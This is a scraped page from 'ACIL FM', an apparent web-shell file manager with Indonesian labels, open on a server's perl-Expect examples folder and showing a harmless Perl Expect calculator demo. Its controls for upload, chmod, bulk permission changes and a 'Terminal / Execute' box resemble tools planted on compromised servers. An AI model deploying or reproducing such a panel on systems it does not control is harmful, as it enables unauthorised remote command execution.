ACIL FM
Dark
Refresh
Current DIR:
/usr/share/doc/perl-Expect/examples
/
usr
share
doc
perl-Expect
examples
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
kibitz
-
chmod
Open
Rename
Delete
calc.pl
141 B
chmod
View
DL
Edit
Rename
Delete
expect_calc.pl
470 B
chmod
View
DL
Edit
Rename
Delete
ssh.pl
1.89 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /usr/share/doc/perl-Expect/examples/expect_calc.pl
use strict; use warnings; use Expect; my $e = Expect->new; $e->spawn($^X, "examples/calc.pl") or die; $e->log_stdout(0); $e->raw_pty(1); $e->send("19+23\n"); $e->expect(1, "19+23"); print 'Match: <', $e->match, ">\n"; print 'Before: <', $e->before, ">\n"; print 'After: <', $e->after, ">\n"; $e->clear_accum; $e->expect(1, '-re' => qr/'\d+'/); print 'Match: <', $e->match, ">\n"; print 'Before: <', $e->before, ">\n"; print 'After: <', $e->after, ">\n"; $e->close;
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply